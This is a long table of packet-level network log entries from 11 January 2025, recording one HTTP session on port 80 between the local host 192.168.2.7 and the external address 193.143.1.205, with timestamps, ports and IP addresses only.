Jan 11, 2025 02:31:19.978256941 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978271008 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978285074 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978327990 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.978353977 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.001866102 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.001888037 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.001899958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.001946926 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.040981054 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.041044950 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.077496052 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077507973 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077517986 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077533960 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077543020 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077579021 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.077590942 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.077625036 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099035978 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099055052 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099076033 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099109888 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099117041 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099154949 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099165916 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099288940 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099299908 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099339962 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099349022 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099378109 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099389076 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099396944 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099433899 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099513054 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099541903 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099555016 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099597931 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099684954 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099757910 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099770069 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099775076 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099822044 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099829912 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.099839926 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.099915981 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100040913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100087881 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100099087 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100151062 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100213051 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100224018 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100234985 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100245953 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100269079 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100318909 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100347042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100358009 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100409031 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100686073 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100733995 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100744963 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100761890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100784063 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100785971 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100871086 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100881100 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100893021 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100903988 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.100931883 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100956917 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.100987911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101072073 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101105928 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101116896 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101128101 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101140022 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101172924 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101201057 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101658106 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101706028 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101716995 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101762056 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101794004 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101804972 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101815939 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101847887 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101872921 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.101917982 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101928949 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101939917 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.101974964 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.102058887 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.102071047 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.102081060 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.102092028 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.102147102 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104027033 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104038954 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104078054 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104090929 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104098082 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104114056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104136944 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104160070 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104176998 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104216099 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104227066 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104285955 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104367018 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104377985 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104387999 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104398966 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104410887 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104422092 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104427099 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104449034 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104471922 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104893923 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104906082 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104917049 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104943037 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104954958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.104955912 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.104984999 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.105005980 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.105021954 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.105032921 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.105073929 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.109339952 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.112270117 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.129458904 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.129472971 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.129483938 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.129496098 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.129534006 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.129580975 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.166013956 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166040897 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166090965 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166102886 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166182995 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166196108 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166210890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.166210890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.166254997 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.166266918 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166277885 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166290045 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166327000 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.166347980 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.166409016 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.187544107 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187557936 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187583923 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187593937 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187628031 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.187628031 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187644958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.187778950 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.187778950 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.202395916 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202438116 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202449083 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202481031 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202502966 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.202539921 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.202543974 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202570915 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202620983 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202631950 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202656984 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.202677011 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.202778101 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202790022 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.202826977 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224142075 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224180937 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224195004 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224246025 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224268913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224282026 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224306107 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224376917 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224386930 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224399090 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224410057 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224412918 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224438906 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224503994 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224514961 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224526882 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224536896 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224550009 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224567890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224616051 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224628925 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224668026 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224760056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224771023 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224782944 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224793911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224803925 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224807024 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224814892 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224828005 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224839926 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224858999 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.224939108 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.224981070 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225023985 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225136042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225147963 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225157976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225169897 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225181103 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225192070 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225199938 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225203037 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225214958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225225925 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225230932 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225238085 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225254059 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225272894 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225442886 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225454092 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225466013 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225476980 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225588083 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225593090 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225589037 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225610971 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225621939 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225632906 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225644112 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225653887 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225655079 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225665092 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225683928 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225707054 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225873947 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225884914 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225895882 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225907087 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225925922 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225940943 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.225941896 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.225980043 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226017952 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226028919 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226039886 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226057053 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226068020 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226078987 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226088047 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226089954 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226100922 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226111889 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226120949 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226136923 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226298094 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226310015 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226326942 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226337910 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226342916 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226355076 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226362944 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226362944 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226499081 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226551056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226562977 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226572990 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226584911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226591110 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226596117 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226607084 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226618052 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226619005 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226630926 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226639032 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226654053 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226809978 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226819992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226831913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226841927 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226852894 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226854086 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226864100 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226875067 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226886988 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226907015 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226927042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226938963 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226948977 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226960897 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226970911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226983070 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.226984024 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.226999998 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227010965 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227013111 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.227021933 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227029085 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.227034092 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227042913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227062941 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.227086067 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.227356911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227369070 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227380991 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227390051 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.227408886 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.227427959 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.234509945 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.237838030 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.254658937 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254671097 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254688025 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254698038 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254708052 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254719019 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254731894 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254734039 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.254740000 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.254807949 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.254807949 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.261981964 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.276104927 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276127100 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276134014 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276257992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276269913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276283026 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276318073 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.276365042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.276406050 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.276406050 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.291172028 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291188955 CET	80	49703	193.143.1.205	192.168.2.7
